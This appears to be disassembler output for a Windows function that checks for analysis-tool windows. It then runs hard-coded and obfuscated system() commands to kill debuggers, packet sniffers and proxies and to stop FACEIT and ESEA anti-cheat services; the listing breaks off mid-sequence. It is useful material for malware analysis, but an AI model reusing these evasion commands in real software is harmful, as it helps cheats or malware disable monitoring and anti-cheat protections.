Function at 0x1400506d0
Capabilities:
Execute command
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x2080]
mov eax, 0x2180
call fcn.1400cecc0
sub rsp, rax
lea rdx, str.Resource_Monitor
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140050b2f
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.taskkill__F__T__IM_perfmon.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xad8]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x178], xmm0
mov dword [rbp + 0x188], 0x809e84d7
mov dword [rbp + 0x18c], 0xd6d1dccd
mov word [rbp + 0x190], Ordinal_200
mov byte [rbp + 0x192], 1
lea rcx, [rbp + 0x178]
call fcn.140057490
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xaf8], xmm0
mov dword [rbp + 0xb08], 0xde998f9f
mov dword [rbp + 0xb0c], 0x8581d0cd
mov dword [rbp + 0xb10], 0xcac1d29d
mov dword [rbp + 0xb14], 0x100c7d3
lea rcx, [rbp + 0xaf8]
call fcn.1400574c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x10d8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x10e8], xmm1
mov word [rbp + 0x10f8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x10fa], 1
lea rcx, [rbp + 0x10d8]
call fcn.1400574f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1100], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1110], xmm1
mov word [rbp + 0x1120], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1122], 1
lea rcx, [rbp + 0x1100]
call fcn.1400574f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1128], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1138], xmm1
mov word [rbp + 0x1148], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x114a], 1
lea rcx, [rbp + 0x1128]
call fcn.1400574f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1150], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1160], xmm1
mov word [rbp + 0x1170], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1172], 1
lea rcx, [rbp + 0x1150]
call fcn.1400574f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x498], xmm0
mov dword [rbp + 0x4a8], 0x82d5ca82
mov dword [rbp + 0x4ac], 0xc2cf8298
mov dword [rbp + 0x4b0], 0xc2d4cf
mov byte [rbp + 0x4b4], 1
lea rcx, [rbp + 0x498]
call fcn.140057520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0xcad5d8c9
mov word [rsp + 0x34], 0xdc
mov byte [rsp + 0x36], 1
lea rcx, [rsp + 0x20]
call fcn.140057550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xcc8e8480
mov dword [rbp + 0x7cc], 0x9c9a80d3
mov dword [rbp + 0x7d0], 0xd2cdc0d1
mov word [rbp + 0x7d4], Ordinal_200
mov byte [rbp + 0x7d6], 1
lea rcx, [rbp + 0x7b8]
call fcn.140057580
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.The_Wireshark_Network_Analyzer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140050fa2
lea rax, [rbp + 0xb18]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xb18]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xb18]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xb18]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x198], xmm0
mov dword [rbp + 0x1a8], 0x809e84d7
mov dword [rbp + 0x1ac], 0xd6d1dccd
mov word [rbp + 0x1b0], Ordinal_200
mov byte [rbp + 0x1b2], 1
lea rcx, [rbp + 0x198]
call fcn.14005a930
lea rcx, [rbp + 0x198]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xb38], xmm0
mov dword [rbp + 0xb48], 0xde998f9f
mov dword [rbp + 0xb4c], 0x8581d0cd
mov dword [rbp + 0xb50], 0xcac1d29d
mov dword [rbp + 0xb54], 0x100c7d3
lea rcx, [rbp + 0xb38]
call fcn.14005a900
lea rcx, [rbp + 0xb38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1178], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1188], xmm1
mov word [rbp + 0x1198], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x119a], 1
lea rcx, [rbp + 0x1178]
call fcn.14005a8d0
lea rcx, [rbp + 0x1178]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x11a0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x11b0], xmm1
mov word [rbp + 0x11c0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x11c2], 1
lea rcx, [rbp + 0x11a0]
call fcn.14005a8d0
lea rcx, [rbp + 0x11a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x11c8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x11d8], xmm1
mov word [rbp + 0x11e8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x11ea], 1
lea rcx, [rbp + 0x11c8]
call fcn.14005a8d0
lea rcx, [rbp + 0x11c8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x11f0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1200], xmm1
mov word [rbp + 0x1210], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1212], 1
lea rcx, [rbp + 0x11f0]
call fcn.14005a8d0
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x4b8], xmm0
mov dword [rbp + 0x4c8], 0x82d5ca82
mov dword [rbp + 0x4cc], 0xc2cf8298
mov dword [rbp + 0x4d0], 0xc2d4cf
mov byte [rbp + 0x4d4], 1
lea rcx, [rbp + 0x4b8]
call fcn.14005a8a0
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x48], 0xcad5d8c9
mov word [rsp + 0x4c], 0xdc
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x38]
call fcn.14005a870
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x7d8], xmm0
mov dword [rbp + 0x7e8], 0xcc8e8480
mov dword [rbp + 0x7ec], 0x9c9a80d3
mov dword [rbp + 0x7f0], 0xd2cdc0d1
mov word [rbp + 0x7f4], Ordinal_200
mov byte [rbp + 0x7f6], 1
lea rcx, [rbp + 0x7d8]
call fcn.14005a840
lea rcx, [rbp + 0x7d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Progress_Telerik_Fiddler_Web_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140051415
lea rax, [rbp + 0xb58]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xb58]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xb58]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xb58]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x1b8], xmm0
mov dword [rbp + 0x1c8], 0x809e84d7
mov dword [rbp + 0x1cc], 0xd6d1dccd
mov word [rbp + 0x1d0], Ordinal_200
mov byte [rbp + 0x1d2], 1
lea rcx, [rbp + 0x1b8]
call fcn.14005a930
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xb78], xmm0
mov dword [rbp + 0xb88], 0xde998f9f
mov dword [rbp + 0xb8c], 0x8581d0cd
mov dword [rbp + 0xb90], 0xcac1d29d
mov dword [rbp + 0xb94], 0x100c7d3
lea rcx, [rbp + 0xb78]
call fcn.14005a900
lea rcx, [rbp + 0xb78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1218], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1228], xmm1
mov word [rbp + 0x1238], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x123a], 1
lea rcx, [rbp + 0x1218]
call fcn.14005a8d0
lea rcx, [rbp + 0x1218]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1240], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1250], xmm1
mov word [rbp + 0x1260], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1262], 1
lea rcx, [rbp + 0x1240]
call fcn.14005a8d0
lea rcx, [rbp + 0x1240]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1268], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1278], xmm1
mov word [rbp + 0x1288], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x128a], 1
lea rcx, [rbp + 0x1268]
call fcn.14005a8d0
lea rcx, [rbp + 0x1268]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1290], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x12a0], xmm1
mov word [rbp + 0x12b0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x12b2], 1
lea rcx, [rbp + 0x1290]
call fcn.14005a8d0
lea rcx, [rbp + 0x1290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x4d8], xmm0
mov dword [rbp + 0x4e8], 0x82d5ca82
mov dword [rbp + 0x4ec], 0xc2cf8298
mov dword [rbp + 0x4f0], 0xc2d4cf
mov byte [rbp + 0x4f4], 1
lea rcx, [rbp + 0x4d8]
call fcn.14005a8a0
lea rcx, [rbp + 0x4d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xcad5d8c9
mov word [rsp + 0x64], 0xdc
mov byte [rsp + 0x66], 1
lea rcx, [rsp + 0x50]
call fcn.14005a870
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x7f8], xmm0
mov dword [rbp + 0x808], 0xcc8e8480
mov dword [rbp + 0x80c], 0x9c9a80d3
mov dword [rbp + 0x810], 0xd2cdc0d1
mov word [rbp + 0x814], Ordinal_200
mov byte [rbp + 0x816], 1
lea rcx, [rbp + 0x7f8]
call fcn.14005a840
lea rcx, [rbp + 0x7f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140051888
lea rax, [rbp + 0xb98]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xb98]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xb98]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xb98]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x1d8], xmm0
mov dword [rbp + 0x1e8], 0x809e84d7
mov dword [rbp + 0x1ec], 0xd6d1dccd
mov word [rbp + 0x1f0], Ordinal_200
mov byte [rbp + 0x1f2], 1
lea rcx, [rbp + 0x1d8]
call fcn.14005a930
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xbb8], xmm0
mov dword [rbp + 0xbc8], 0xde998f9f
mov dword [rbp + 0xbcc], 0x8581d0cd
mov dword [rbp + 0xbd0], 0xcac1d29d
mov dword [rbp + 0xbd4], 0x100c7d3
lea rcx, [rbp + 0xbb8]
call fcn.14005a900
lea rcx, [rbp + 0xbb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x12b8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x12c8], xmm1
mov word [rbp + 0x12d8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x12da], 1
lea rcx, [rbp + 0x12b8]
call fcn.14005a8d0
lea rcx, [rbp + 0x12b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x12e0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x12f0], xmm1
mov word [rbp + 0x1300], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1302], 1
lea rcx, [rbp + 0x12e0]
call fcn.14005a8d0
lea rcx, [rbp + 0x12e0]
